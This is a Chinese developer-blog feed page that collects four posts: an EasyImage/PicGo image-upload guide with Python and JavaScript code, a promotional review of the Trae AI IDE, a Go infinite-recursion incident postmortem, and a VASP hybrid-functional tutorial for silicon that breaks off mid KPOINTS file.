如果使用接口进行图片上传,需要一个 api 地址,和一个授权的 token ,在 “设置” 中的 “API设置” 中进行设置

python代码上传图片

python 的参考代码如下,可以通过剪切板上传,或者读取文件上传

import io
import requests
from PIL import ImageGrab

image_path = "./docs/images/225906016.png"
token = "1c17b11693cb5ec63859b091c5b9c1b2"
url = "http://192.168.10.200/api/index.php"

image = ImageGrab.grabclipboard()

if image:
    img_byte_arr = io.BytesIO()
    image.save(img_byte_arr, format='PNG')
    img_byte_arr.seek(0)
    files = {'image': ('screenshot.png', img_byte_arr, 'image/png')}
    data = {'token': token}
    print("upload image use clipboard...")
else:
    files = {'image': open(image_path, 'rb')}
    data = {'token': token}
    print("upload image use local image file...")

response = requests.post(url, files=files, data=data)

if response.status_code == 200:
    print("Upload successful, text:", response.text)
else:
    print(f"Upload failed with status code {response.status_code}.")

PicGo 配置

安装插件以及配置

picgo 支持大部分的图床上传,但是官方并不直接支持 easyimage 图床

picgo 以提供插件支持的方式,方便为各种图床定制开发相应的上传插件

easyimage 官方推荐使用 web-uploader 插件,另外还有名为 “easyimage” 的插件

在 “插件设置” 中搜索,或者在 github 中搜索,将代码下载到本地,然后再 “导入本地插件” 也可以

安装完插件后,输入配置信息,web-uploader 稍微有点不同,这里以 easyimage 插件进行说明

就配置 api 地址以及 token 就可以了

插件问题分析

上面两个插件尝试了,发现都不能正常上传,估计是我环境的问题

分析的时候,easyimage 后端无法解析到 token ,网上搜了下也没有人提到这类问题

以 windows 为例,插件安装在以下目录中

C:\Users\Administrator\AppData\Roaming\picgo\node_modules

实际上核心的文件只有一个 picgo-plugin-easyimage\dist\index.js

尝试了好多次,也无法使用 PicGo 通过 easyimage 图床插件进行图片上传

只好将插件代码修改下,改为纯手动构建的请求包,然后就可以正常上传图片了

修改后的完整代码如下,有需要可以直接替换原文件的代码,然后重启 PicGo

const UPLOADER = "easyimage";
module.exports = (ctx) => {
    const config = (ctx) => {
        let userConfig = ctx.getConfig("picBed." + UPLOADER);
        if (!userConfig) {
            userConfig = {};
        }
        return [
            {
                name: "server",
                type: "input",
                default: userConfig.server,
                required: true,
                message: "示例: http://10.20.30.19:8070/api/index.php",
                alias: "API调用地址",
            },
            {
                name: "token",
                type: "input",
                default: userConfig.token,
                required: true,
                message: "认证 token 信息",
                alias: "调用Token",
            },
        ];
    };
    // 上传图片
    const uploader = {
        config,
        handle: async (ctx) => {
            let userConfig = ctx.getConfig("picBed." + UPLOADER);
            if (!userConfig) {
                throw new Error("Can't find uploader config");
            }
            const imgList = ctx.output;
            for (let i in imgList) {
                const img = imgList[i];
                const { base64Image, fileName } = img;
                let { buffer } = img;
                if (!buffer && base64Image) {
                    buffer = Buffer.from(img.base64Image, "base64");
                }

                // 随机生成边界
                const boundary = '----WebKitFormBoundary' + Math.random().toString(36).substr(2, 10);

                // 构造 multipart/form-data 内容
                let reqBodyParts = [];

                reqBodyParts.push(Buffer.from(`--${boundary}\r\n`));
                reqBodyParts.push(Buffer.from(`Content-Disposition: form-data; name="token"\r\n\r\n`));
                reqBodyParts.push(Buffer.from(`${userConfig.token}\r\n`));

                reqBodyParts.push(Buffer.from(`--${boundary}\r\n`));
                reqBodyParts.push(Buffer.from(`Content-Disposition: form-data; name="image"; filename="${fileName}"\r\n`));
                reqBodyParts.push(Buffer.from(`Content-Type: image/png\r\n\r\n`));
                reqBodyParts.push(buffer);
                 reqBodyParts.push(Buffer.from(`\r\n`));

                // 计算 Content-Length
                reqBodyParts.push(Buffer.from(`--${boundary}--\r\n`));
                const reqBody = Buffer.concat(reqBodyParts);

                const requestConfig = {
                    url: userConfig.server,
                    method: "POST",
                    headers: { 
                        "Content-Type": `multipart/form-data; boundary=${boundary}`,
                        "User-Agent": "PicGo-easyimage",
                        "Content-Length": reqBody.length,
                    },
                    body: reqBody,
                };
                let body = await ctx.Request.request(requestConfig);
                body = JSON.parse(body);
                const { url: imgUrl, message } = body;
                if (imgUrl) {
                    img.imgUrl = imgUrl;
                }
                else {
                    ctx.emit("notification", {
                        title: "上传失败",
                        body: message,
                    });
                }
            }
            return ctx;
        },
    };
    const register = () => {
        ctx.helper.uploader.register(UPLOADER, uploader);
    };
    return {
        register,
        config,
        uploader: UPLOADER,
    };
};

by QC七哥 at January 22, 2025 10:32 AM

Trae:字节跳动的AI编程神器来了!免费畅享 Claude 3.5 是什么体验?🚀

Trae:字节跳动的AI编程神器来了!免费畅享 Claude 3.5 是什么体验?🚀

前言

"如果说Cursor是程序员的左膀右臂,那Trae就是国内开发者的及时雨!"

作为一个经常在中英文之间切换的开发者,我深深体会到了Trae带来的便利。让我们一起来看看这个由字节跳动打造的AI编程利器!

一、Trae是什么?

Trae是字节跳动新推出的AI集成开发环境(IDE),由其新加坡子公司SPRING(SG)PTE.LTD开发。它不仅整合了Claude-3.5-Sonnet等顶级AI模型,还特别针对中文开发者优化了使用体验。

1.1 主要特点

  • 🌈 完美支持中英文混合开发场景
  • 🚀 免费使用Claude-3.5-Sonnet模型
  • 🔄 支持从VS Code和Cursor迁移配置
  • 🎨 提供暗色、亮色和深蓝主题
  • 🌍 支持中英文界面切换

二、为什么值得尝试?

2.1 开发体验升级

// 之前写注释可能是这样
/**
 * @param {string} userId - The user ID
 * @returns {Promise<User>} - Returns user info
 */

// 现在只需要用中文描述
/**
 * 根据用户ID获取用户信息
 * Trae会自动帮你生成完整的注释和类型提示
 */

2.2 实用场景展示

  1. Web应用开发

    • 快速生成前后端代码
    • 智能UI设计建议
    • 自动处理兼容性问题
  2. 工具类应用开发

    2.1 需求描述

    需求描述

    # 只需要用中文描述需求
    """
    我需要一个图片处理工具,功能包括:
    1. 支持格式转换(PNG/JPG/WEBP)
    2. 图片压缩
    3. 添加水印
    """
    

    让我们看看Trae是如何帮我们实现这个需求的。首先,它会生成项目的依赖文件requirements.txt

    Pillow==10.1.0
    

    然后,Trae会生成核心处理模块 image_processor.py

    #!/usr/bin/env python3
    """
    图片处理模块
    
    这个模块提供了图片处理的核心功能,包括:
    - 图片格式转换(支持PNG、JPEG、WEBP格式)
    - 图片压缩(可调节压缩质量)
    - 添加文字水印(支持多个位置选项)
    
    依赖:
    - PIL (Python Imaging Library)
    - os
    - argparse
    """
    
    import os
    import argparse
    from PIL import Image
    
    class ImageProcessor:
        """图片处理类
        
        这个类封装了所有图片处理的核心功能,提供了简单易用的接口。
        
        属性:
            image: PIL.Image对象,存储当前处理的图片
            original_path: str,原始图片的文件路径
        """
        def __init__(self, image_path):
            """初始化图片处理器
            
            Args:
                image_path (str): 需要处理的图片文件路径
            
            Raises:
                PIL.UnidentifiedImageError: 当图片格式无法识别时
                FileNotFoundError: 当图片文件不存在时
            """
            self.image = Image.open(image_path)
            self.original_path = image_path
    
        def convert_format(self, output_format):
            """将图片转换为指定格式
            
            支持PNG、JPEG(JPG)和WEBP格式的互相转换。如果将RGBA格式图片转换为JPEG,
            会自动进行RGB转换。
            
            Args:
                output_format (str): 目标格式,支持'PNG'、'JPEG'、'WEBP'
                
            Returns:
                str: 转换后的图片文件路径
                
            Raises:
                ValueError: 当指定了不支持的格式时
            """
            filename = os.path.splitext(self.original_path)[0]
            output_path = f"{filename}.{output_format.lower()}"
            if output_format.upper() == 'WEBP':
                self.image.save(output_path, 'WEBP')
            elif output_format.upper() == 'PNG':
                self.image.save(output_path, 'PNG')
            elif output_format.upper() == 'JPEG' or output_format.upper() == 'JPG':
                # Convert to RGB if image is in RGBA mode
                if self.image.mode == 'RGBA':
                    self.image = self.image.convert('RGB')
                self.image.save(output_path, 'JPEG')
            return output_path
    
        def compress(self, quality):
            """压缩图片
            
            通过调整质量参数来压缩图片,会自动处理RGBA到RGB的转换。
            
            Args:
                quality (int): 压缩质量,范围1-100,值越小压缩率越高
                
            Returns:
                str: 压缩后的图片文件路径
                
            Raises:
                ValueError: 当quality参数超出1-100范围时
            """
            filename = os.path.splitext(self.original_path)[0]
            output_path = f"{filename}_compressed{os.path.splitext(self.original_path)[1]}"
            if self.image.mode == 'RGBA':
                self.image = self.image.convert('RGB')
            self.image.save(output_path, quality=quality, optimize=True)
            return output_path
    
        def add_watermark(self, watermark_text, position='bottom-right'):
            """添加文字水印
            
            在图片指定位置添加半透明文字水印,支持中文和英文。
            
            Args:
                watermark_text (str): 水印文字内容
                position (str): 水印位置,可选值:
                               'bottom-right'(右下), 'bottom-left'(左下),
                               'top-right'(右上), 'top-left'(左上),
                               'center'(居中)
                               
            Returns:
                str: 添加水印后的图片文件路径
                
            Raises:
                ValueError: 当position参数不在支持的选项中时
            """
            from PIL import ImageDraw, ImageFont
            image_copy = self.image.copy()
            draw = ImageDraw.Draw(image_copy)
    
            # Use default font with larger size
            try:
                # Try to use system Chinese fonts first
                font = ImageFont.truetype('/System/Library/Fonts/PingFang.ttc', 48)
            except:
                try:
                    # Fallback to alternative Chinese font
                    font = ImageFont.truetype('/System/Library/Fonts/STHeiti Light.ttc', 48)
                except:
                    font = ImageFont.load_default()
    
            # Calculate text size with proper method
            bbox = draw.textbbox((0, 0), watermark_text, font=font)
            text_width = bbox[2] - bbox[0]
            text_height = bbox[3] - bbox[1]
    
            # Calculate position with boundary check
            padding = 20  # Increased padding for better visibility
            if position == 'bottom-right':
                x = min(image_copy.width - text_width - padding, image_copy.width - padding)
                y = min(image_copy.height - text_height - padding, image_copy.height - padding)
            elif position == 'bottom-left':
                x = padding
                y = min(image_copy.height - text_height - padding, image_copy.height - padding)
            elif position == 'top-right':
                x = min(image_copy.width - text_width - padding, image_copy.width - padding)
                y = padding
            elif position == 'top-left':
                x = padding
                y = padding
            else:  # center
                x = max(padding, (image_copy.width - text_width) / 2)
                y = max(padding, (image_copy.height - text_height) / 2)
    
            # Ensure coordinates are not negative
            x = max(padding, x)
            y = max(padding, y)
    
            # Add text watermark with semi-transparent light gray color
            draw.text((x, y), watermark_text, font=font, fill=(192, 192, 192, 160))
    
            filename = os.path.splitext(self.original_path)[0]
            output_path = f"{filename}_watermarked{os.path.splitext(self.original_path)[1]}"
            image_copy.save(output_path)
            return output_path
    
    def main():
        parser = argparse.ArgumentParser(description='Image Processing Tool')
        parser.add_argument('image', help='Path to the input image')
        parser.add_argument('--convert', help='Convert to format (PNG/JPG/WEBP)')
        parser.add_argument('--compress', type=int, help='Compress image with quality (1-100)')
        parser.add_argument('--watermark', help='Add watermark text')
        parser.add_argument('--position', default='bottom-right',
                            choices=['top-left', 'top-right', 'bottom-left', 'bottom-right', 'center'],
                            help='Watermark position')
    
        args = parser.parse_args()
    
        try:
            processor = ImageProcessor(args.image)
    
            if args.convert:
                output_path = processor.convert_format(args.convert)
                print(f'Format conversion completed. Output saved to: {output_path}')
    
            if args.compress:
                if args.compress < 1 or args.compress > 100:
                    print('Compression quality must be between 1 and 100')
                else:
                    output_path = processor.compress(args.compress)
                    print(f'Compression completed. Output saved to: {output_path}')
    
            if args.watermark:
                output_path = processor.add_watermark(args.watermark, args.position)
                print(f'Watermark added. Output saved to: {output_path}')
    
        except Exception as e:
            print(f'Error: {str(e)}')
    
    if __name__ == '__main__':
        main()
    

    最后,Trae还贴心地为我们生成了一个图形界面 image_processor_gui.py

    #!/usr/bin/env python3
    """
    图片处理工具GUI界面
    
    这个模块提供了图片处理工具的图形用户界面,包括:
    - 图片预览功能
    - 格式转换界面
    - 图片压缩界面
    - 水印添加界面
    
    依赖:
    - PyQt5
    - image_processor模块
    """
    
    import sys
    import os
    from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout,
                                 QHBoxLayout, QPushButton, QLabel, QFileDialog,
                                 QSpinBox, QComboBox, QLineEdit, QMessageBox)
    from PyQt5.QtGui import QPixmap, QImage
    from PyQt5.QtCore import Qt
    from image_processor import ImageProcessor
    
    class ImageProcessorGUI(QMainWindow):
        """图片处理工具的主窗口类
        
        提供图形化界面,让用户可以方便地进行图片处理操作。
        包含图片预览区域和功能控制面板。
        
        属性:
            current_image_path: str,当前处理的图片路径
            processor: ImageProcessor,图片处理器实例
        """
        def __init__(self):
            """初始化主窗口
            
            设置基本的窗口属性,初始化UI组件,
            并创建必要的实例变量。
            """
            super().__init__()
            self.initUI()
            self.current_image_path = None
            self.processor = None
    
        def initUI(self):
            self.setWindowTitle('图片处理工具')
            self.setGeometry(100, 100, 800, 600)
    
            # 创建主窗口部件和布局
            main_widget = QWidget()
            self.setCentralWidget(main_widget)
            layout = QHBoxLayout()
    
            # 左侧面板:图片预览
            left_panel = QWidget()
            left_layout = QVBoxLayout()
            self.image_label = QLabel('请选择图片')
            self.image_label.setAlignment(Qt.AlignCenter)
            self.image_label.setMinimumSize(400, 400)
            left_layout.addWidget(self.image_label)
            left_panel.setLayout(left_layout)
    
            # 右侧面板:控制按钮
            right_panel = QWidget()
            right_layout = QVBoxLayout()
    
            # 选择图片按钮
            select_btn = QPushButton('选择图片', self)
            select_btn.clicked.connect(self.select_image)
            right_layout.addWidget(select_btn)
    
            # 格式转换部分
            format_group = QWidget()
            format_layout = QVBoxLayout()
            format_layout.addWidget(QLabel('格式转换'))
            self.format_combo = QComboBox()
            self.format_combo.addItems(['PNG', 'JPEG', 'WEBP'])
            format_layout.addWidget(self.format_combo)
            convert_btn = QPushButton('转换格式', self)
            convert_btn.clicked.connect(self.convert_format)
            format_layout.addWidget(convert_btn)
            format_group.setLayout(format_layout)
            right_layout.addWidget(format_group)
    
            # 压缩设置部分
            compress_group = QWidget()
            compress_layout = QVBoxLayout()
            compress_layout.addWidget(QLabel('图片压缩'))
            self.quality_spin = QSpinBox()
            self.quality_spin.setRange(1, 100)
            self.quality_spin.setValue(80)
            compress_layout.addWidget(self.quality_spin)
            compress_btn = QPushButton('压缩图片', self)
            compress_btn.clicked.connect(self.compress_image)
            compress_layout.addWidget(compress_btn)
            compress_group.setLayout(compress_layout)
            right_layout.addWidget(compress_group)
    
            # 水印设置部分
            watermark_group = QWidget()
            watermark_layout = QVBoxLayout()
            watermark_layout.addWidget(QLabel('添加水印'))
            self.watermark_text = QLineEdit()
            self.watermark_text.setPlaceholderText('输入水印文字')
            watermark_layout.addWidget(self.watermark_text)
            self.position_combo = QComboBox()
            self.position_combo.addItems(['bottom-right', 'bottom-left', 'top-right', 'top-left', 'center'])
            watermark_layout.addWidget(self.position_combo)
            watermark_btn = QPushButton('添加水印', self)
            watermark_btn.clicked.connect(self.add_watermark)
            watermark_layout.addWidget(watermark_btn)
            watermark_group.setLayout(watermark_layout)
            right_layout.addWidget(watermark_group)
    
            right_panel.setLayout(right_layout)
    
            # 添加左右面板到主布局
            layout.addWidget(left_panel)
            layout.addWidget(right_panel)
            main_widget.setLayout(layout)
    
        def select_image(self):
            """选择图片文件
            
            打开文件选择对话框,让用户选择要处理的图片文件。
            支持PNG、JPEG和WEBP格式。
            选择图片后会自动创建处理器实例并显示预览。
            """
            file_name, _ = QFileDialog.getOpenFileName(self, '选择图片',
                                                     '', 'Images (*.png *.jpg *.jpeg *.webp)')
            if file_name:
                self.current_image_path = file_name
                self.processor = ImageProcessor(file_name)
                self.display_image(file_name)
    
        def display_image(self, image_path):
            """显示图片预览
            
            将图片加载到预览区域,保持原始比例,
            并进行平滑缩放以提供更好的显示效果。
            
            Args:
                image_path (str): 要显示的图片文件路径
            """
            pixmap = QPixmap(image_path)
            scaled_pixmap = pixmap.scaled(self.image_label.size(),
                                        Qt.KeepAspectRatio,
                                        Qt.SmoothTransformation)
            self.image_label.setPixmap(scaled_pixmap)
    
        def convert_format(self):
            """转换图片格式
            
            根据用户选择的目标格式转换当前图片。
            转换完成后会更新预览并显示成功提示。
            
            处理异常:
                - 未选择图片时显示警告
                - 转换失败时显示错误信息
            """
            if not self.processor:
                QMessageBox.warning(self, '警告', '请先选择图片!')
                return
            try:
                output_path = self.processor.convert_format(self.format_combo.currentText())
                QMessageBox.information(self, '成功', f'格式转换完成!\n保存至:{output_path}')
                self.display_image(output_path)
            except Exception as e:
                QMessageBox.critical(self, '错误', f'转换失败:{str(e)}')
    
        def compress_image(self):
            """压缩图片
            
            根据用户设置的质量参数压缩当前图片。
            压缩完成后会更新预览并显示成功提示。
            
            处理异常:
                - 未选择图片时显示警告
                - 压缩失败时显示错误信息
            """
            if not self.processor:
                QMessageBox.warning(self, '警告', '请先选择图片!')
                return
            try:
                output_path = self.processor.compress(self.quality_spin.value())
                QMessageBox.information(self, '成功', f'压缩完成!\n保存至:{output_path}')
                self.display_image(output_path)
            except Exception as e:
                QMessageBox.critical(self, '错误', f'压缩失败:{str(e)}')
    
        def add_watermark(self):
            """添加水印
            
            根据用户输入的文字和位置设置添加水印。
            添加完成后会更新预览并显示成功提示。
            
            处理异常:
                - 未选择图片时显示警告
                - 未输入水印文字时显示警告
                - 添加失败时显示错误信息
            """
            if not self.processor:
                QMessageBox.warning(self, '警告', '请先选择图片!')
                return
            if not self.watermark_text.text():
                QMessageBox.warning(self, '警告', '请输入水印文字!')
                return
            try:
                output_path = self.processor.add_watermark(
                    self.watermark_text.text(),
                    self.position_combo.currentText()
                )
                QMessageBox.information(self, '成功', f'水印添加完成!\n保存至:{output_path}')
                self.display_image(output_path)
            except Exception as e:
                QMessageBox.critical(self, '错误', f'添加水印失败:{str(e)}')
    
    def main():
        app = QApplication(sys.argv)
        ex = ImageProcessorGUI()
        ex.show()
        sys.exit(app.exec_())
    
    if __name__ == '__main__':
        main()
    

    通过这个完整的示例,我们可以看到Trae不仅能生成功能完整的核心代码,还能自动创建美观的GUI界面,让工具既实用又易用。所有代码都有完整的中文注释,遵循了Python的编码规范,并且包含了完善的异常处理机制。

    2.2 效果如下:

    UI界面 压缩 水印

  3. 日常编程助手

    • 代码解释
    • Bug修复建议
    • 性能优化方案

三、快速上手指南

3.1 安装步骤

  1. 访问官网 trae.ai 下载客户端
  2. 目前支持macOS,Windows版本即将推出
  3. 支持GitHub/Google账号登录

3.2 使用技巧

# 命令行快速启动
trae                 # 启动Trae
trae my-react-app    # 打开指定项目

# 常用快捷键
Command + U          # 打开AI助手
Command + Shift + P  # 命令面板

四、实战案例

4.1 快速创建React项目

// 只需要告诉Trae:
// "我需要一个React项目,包含用户登录和文件上传功能"

// Trae会自动生成完整的项目结构和代码:
import React, { useState } from 'react';
import { Upload, message } from 'antd';
import { InboxOutlined } from '@ant-design/icons';

const { Dragger } = Upload;

const FileUpload = () => {
  const [fileList, setFileList] = useState([]);

  const props = {
    name: 'file',
    multiple: true,
    onChange(info) {
      // ... 自动生成的完整处理逻辑
    },
  };

  return (
    <Dragger {...props}>
      <p className="ant-upload-drag-icon">
        <InboxOutlined />
      </p>
      <p className="ant-upload-text">点击或拖拽文件到此区域上传</p>
    </Dragger>
  );
};

export default FileUpload;

4.2 智能代码优化

// 优化前的代码
function processUsers(users) {
  let result = [];
  for(let i = 0; i < users.length; i++) {
    if(users[i].age > 18) {
      result.push(users[i]);
    }
  }
  return result;
}

// 告诉Trae:"帮我优化这段代码,使用现代JS特性"
// Trae优化后的代码
const processUsers = users => 
  users.filter(user => user.age > 18);

五、与其他AI编程工具对比

特性TraeCursorVS Code + Copilot
中文支持⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐
AI模型Claude 3.5、GPT-4Claude 3.5、GPT-4Copilot
使用成本免费付费付费
配置迁移支持支持支持

六、使用建议

  1. 善用中文交流

    • Trae对中文的理解特别出色
    • 描述需求时可以更接地气
  2. 合理使用AI功能

    • 不要过度依赖AI生成代码
    • 关注代码质量和安全性
  3. 持续学习

    • 研究AI生成的代码
    • 理解优化建议背后的原理

写在最后

Trae的出现,为国内开发者带来了一个强大的AI编程助手。它不仅解决了语言障碍,还提供了一个完整的开发环境。作为一个每天都在和代码打交道的开发者,我建议你一定要试试这个工具,相信它会给你带来不一样的编程体验!

关注我们

想深入了解更多AI编程工具和开发技巧吗?

想第一时间获取最新的技术趋势和实践经验吗?

快来扫描下方二维码关注我们吧!😊

技术指南针公众号二维码


标签:#AI编程 #Trae #开发工具 #字节跳动

by Delroy at January 22, 2025 10:09 AM

juejin backend

一个递归差点酿成的悲剧

起因

事情是这样的: 博主接到一个任务,需要在某个核心服务消费者的消费代码里,新增一段处理逻辑。

这个任务原有的逻辑是:我们团队通过定时任务触发某个现有接口,调用其他团队的RPC接口,对方服务处理完数据后,利用MQ发送一条消息,我们的服务通过订阅Topic,进行相应的消费处理。消息反序列化后可以抽象成一个Item,而我的任务,就是在原有的消费代码里,找到与Item关联的其它Items,进行与原Item类似的操作。

  • 之前的代码逻辑抽象
type Item struct {
    ItemID int64 `json:"item_id"`
    ......
}
func (item *Item) ConsumeAndExecuteTask() error {
    item.IsValid()
    item.process1()
    item.process2()
    
    return nil
}

拆解好需求之后,博主就开干了。利用原来的函数功能,博主新增了找到关联ID的函数findRelatedItems。既然是相似的操作,博主为每个关联的ItemID重新Copy了一份Item,通过新增字段StopRecursion控制递归层数。测试验收完成后也没问题,代码就上线了。

type Item struct {
    ItemID int64 `json:"item_id"`
    /*  一些旧有字段 */
    StopRecursion bool `json:"stop_recursion"` // 新增字段
}
func (item *Item) ConsumeAndExecuteTask() error {
    // 现有的消费处理逻辑
    item.IsValid()
    item.process1()
    item.process2()

    // 以下是新增的消费处理逻辑
    // 递归出口: 如果有停止递归标志,跳出当前函数
    if item.StopRecursion {
       return nil
    }
    
    // 获取关联的Item,递归调用当前函数 
    for _, itemID := range item.findRelatedItems() {
       b, _ := json.Marshal(item)
       relItem := &Item{}
       _ = json.Unmarshal(b, relItem)
       relItem.ItemID = itemID
       relItem.StopRecursion = true
       go func() {
          err := relItem.ConsumeAndExecuteTask()
          if err != nil {
             return
          }
       }()
    }
    return nil
}

上线之后,测试在生产环境验证,发现博主的代码有个bug,影响到了产线现有的消费,于是博主便紧急回滚代码。重新切分支进行修复,但是由于修复改动比较大,博主一不留神,把代码改成类似于如下代码,便重新提测了。测试过程中,bug顺利解决,测试验证也很快,发现功能没问题,代码便重新合并到主分支中,准备重新上生产环境。

func (item *Item) ConsumeAndExecuteTask() error {
    // 现有的消费处理逻辑
    item.IsValid()
    item.process1()
    item.process2()

    
    for _, itemID := range item.findRelatedItems() {
       b, _ := json.Marshal(item)
       relItem := &Item{}
       _ = json.Unmarshal(b, relItem)
       relItem.ItemID = itemID
       relItem.StopRecursion = true
       go func() {
          err := relItem.ConsumeAndExecuteTask()
          if err != nil {
             return
          }
       }()
    }
    return nil
}

在上线之前,博主留了个心眼,想在测试环境再验证一下,这时候灵异的事情发生了。测试环境刚才还打得开的页面,此刻总是偶发超时或报错,许多旧功能调用之后也不生效,直觉告诉我,肯定是博主刚才的代码哪里出问题,导致测试环境濒临崩溃的边缘。博主重新打开代码,发现原有的递归出口,因为博主改bug时开发思路的多次变更,已经被拿掉了。

func (item *Item) ConsumeAndExecuteTask() error {
    ......
    // 递归出口: 如果有停止递归标志,跳出当前函数 
    if item.StopRecursion { return nil } ==> 这个限制被拿掉了
    ......
}

实际上最后要上线的代码仍然需要字段StopRecursion判断是否需要跳出递归,否则由于Item之间的关联性,ConsumeAndExecuteTask函数永远可以找到关联的Items,也就陷入了 无限递归 的深渊。定位到问题后,博主迅速在团队大群里通知所有人不要上线这个服务,并迅速修复了问题,部署到测试环境上,濒临崩溃测试环境立马恢复了正常,重新触发消费也都正常。

代码修复完成后,博主把新增了递归出口的代码重新合到了主分支里。从产生问题到修复问题这段时间内,其实是比较危险的,如果有人在博主不知情的情况下,把有问题的服务代码上线到生产环境并触发了消费场景,那么由于 无限递归 ,生产环境的CPU使用率内存使用量将会迅速飙升,不久之后就会导致所有服务实例挂掉。由于这个服务又是一个比较关键的服务,一旦服务挂掉,整个系统上下游都会受到影响,无法正常对外提供服务,造成无可挽回的损失。

监控

重新上线之前,博主其实也不是百分百确定现在的代码不会产生问题。在构建流水线部署时,博主选择了手动切换流量的方式,先正常部署代码生成Pod服务实例,此时流量还没有切换,但是新生成的实例是可以正常消费Topic的。如果代码仍然存在无限递归的问题,那么新的Pod实例CPU使用率应该会显著激增,日志也可以观察到一直在不断执行同一段代码函数。此时即使新的Pod实例挂掉,由于还没有切换流量,整个服务暴露给外部的RPC接口和HTTP接口依然只存在于旧实例上,在外部看来,整个服务依旧在正常对外提供服务。

利用这个特性,博主重新触发了我们团队的定时任务,并通过Grafana监控面板,观察新服务实例的CPU使用率。好在随着Topic的顺利消费,新实例的CPU使用率并没有太大波动,日志也如预期一样及时停止了递归函数的执行。确定没问题之后,博主才把流量切换到新生成的实例上。

如何避免

虽然这次没有造成重大产线事故,但也给了博主当头一棒,开始思考自己在这次事件中的表现与不足。首先,如果是走正常测试流程,这个问题肯定可以很快就可以暴露出来,测试人员发现测试环境崩溃,肯定可以迅速做出反应并定位到问题。不幸的是,这是代码上线后因为要紧急修复而产生的问题,当时只验证功能,无限递归造成的问题在短时间内还没有充分暴露出来,测试代码就通过且合并到主分支了。不幸中的万幸是,博主留了个心眼,虽然代码已经合并,但出于职业习惯还是想在上线前验证一下,这才及时发现了问题。

实际上,代码里这种不会在短时间内暴露的“”,往往无法通过测试及时发现问题,特别是上线时间紧张的条件下更是如此。这就要求作为开发人员的我们,绝对不要过度依赖测试,要对自己写的代码流程有一个精准的把握,既要胆大,更要心细。测试不是万金油,不可能覆盖到所有异常场景,总有一些坑只能开发自己去避免踩到,这个过程非常锻炼软件开发从业者的细心与耐心。成长,也就在这么一瞬之间!

事故止损

总结完如何避免,不妨假设一下,如果真发生了这种情况,又该如何应对?

首先,当有问题的代码上线之后,如果你的团队维护的服务流量较大,或者定时任务的触发频率足够高,应该很快就可以从监控或者告警群发现问题。此时如果只发版了这一个服务,那么应该立即回滚或切换流量。如果一次上线涉及到了多个微服务的部署,则要逆向按照上线顺序,将有问题的服务连同起其上游服务依次回滚。及时止损永远比定位问题更重要。并且在这个过程中,一定要及时把回滚的消息同步给所有相关人员,拦截当前时间点所有的上线计划。回滚完毕后,不必立马修复问题,而是要观察生产环境是否恢复正常的对外服务。当确认生产环境恢复之后,就可以开始排查问题进行修复,确保代码逻辑正常后,经过充分的Code Review、测试和验证后重新上线!

by gopher_looklook at January 22, 2025 10:07 AM

juejin freebie

VASP 教程:杂化泛函计算硅的态密度和能带

VASP 的一项创新在于它实现了 Hartree-Fock 方法与密度泛函理论的融合,形成了一种混合泛函方法,这为研究者提供了更灵活的计算选项。此外,VASP 中还提供了格林函数方法(GW 准粒子和 ACFDT-RPA)和多体微扰理论(二阶 Møller-Plesset)。
本次教程将学习杂化泛函计算硅能带,杂化泛函可以计算得到材料的具有正确带隙的能带和态密度。

教程链接:go.openbayes.com/z82tt

使用云平台:OpenBayes
openbayes.com/console/sig…

介绍输入文件

INCAR

Global Parameters
  ENCUT  =  300          (波函数截断能量) 
  PREC   =  Normal       (精度设置)  
  LWAVE  = .TRUE.        (保存波函数)
  LCHARG = .TRUE.        (保存电荷) 
  ADDGRID= .TRUE.        (增加格点加速收敛) 
  
 
Static Calculation
  ISMEAR =  0            (高斯占据数) 
  SIGMA  =  0.1          (高斯展宽)
  LORBIT =  11           (输出 DOSCAR 和 PROCAR)
  NELM   =  60           (最大电子步)
  EDIFF  =  1E-08        (电子步收敛判据)
 
HSE06 Calculation
  LHFCALC= T            (启动杂化泛函计算)
  AEXX   =  0.25        (杂化比例 0.25)
  HFSCREEN= 0.2         (杂化屏蔽参数 0.2)
  ALGO   =  ALL         (最优化算法)      
  TIME   =  0.4         (最优化算法步长)
  PRECFOCK= N           (FFT 精度) 

POSCAR

Si #(体系名称)
1.0 #(放大系数  下面 3 行对应 3 个晶格矢量 )
0.0 2.75 2.75
2.75 0.0 2.75
2.75 2.75 0.0
Si #(元素)
2 #(对应元素原子数)
Direct #(采用分数坐标,下列为 2 个原子的分数坐标)
0 0 0
0.25 0.25 0.25

KPOINTS

0.060   5   5   5   10  0.060   83    6   19    6   20   16   13    9           # Parameters to Generate KPOINTS (Do NOT Edit This Line)
    93
Reciprocal lattice
    0.00000000000000    0.00000000000000    0.00000000000000     1
    0.20000000000000    0.00000000000000    0.00000000000000     8
    0.40000000000000    0.00000000000000    0.00000000000000     8
    0.20000000000000    0.20000000000000    0.00000000000000     6
    0.40000000000000    0.20000000000000    0.00000000000000    24
   -0.40000000000000    0.20000000000000    0.00000000000000    24
   -0.20000000000000    0.20000000000000    0.00000000000000    12
    0.40000000000000    0.40000000000000    0.00000000000000     6
   -0.40000000000000    0.40000000000000    0.00000000000000    12
   -0.40000000000000    0.40000000000000    0.20000000000000    24 (以上为 scf 点位)
    0.00000000000000    0.00000000000000    0.00000000000000     0 (以下为能带点位)
    0.02777777777778    0.00000000000000    0.02777777777778     0
    0.05555555555556    0.00000000000000    0.05555555555556     0
    0.08333333333333    0.00000000000000    0.08333333333333     0
    0.11111111111111    0.00000000000000    0.11111111111111     0
    0.13888888888889    0.00000000000000    0.13888888888889     0
    0.16666666666667    0.00000000000000    0.16666666666667     0
    0.19444444444444    0.00000000000000    0.19444444444444     0
    0.22222222222222    0.00000000000000    0.22222222222222     0
    0.25000000000000    0.00000000000000    0.25000000000000     0
    0.27777777777778    0.00000000000000    0.27777777777778     0
    0.30555555555556    0.00000000000000    0.30555555555556     0
    0.33333333333333    0.00000000000000    0.33333333333333     0
    0.36111111111111    0.00000000000000    0.36111111111111     0
    0.38888888888889    0.00000000000000    0.38888888888889     0
    0.41666666666667    0.00000000000000    0.41666666666667     0
    0.44444444444444    0.00000000000000    0.44444444444444     0
    0.47222222222222    0.00000000000000    0.47222222222222     0
    0.50000000000000    0.00000000000000    0.50000000000000     0
    0.50000000000000    0.00000000000000    0.50000000000000     0
    0.52500000000000    0.05000000000000    0.52500000000000     0
    0.55000000000000    0.10000000000000    0.55000000000000     0
    0.57500000000000    0.15000000000000    0.57500000000000     0
    0.60000000000000    0.20000000000000    0.60000000000000     0
    0.62500000000000    0.25000000000000    0.62500000000000     0
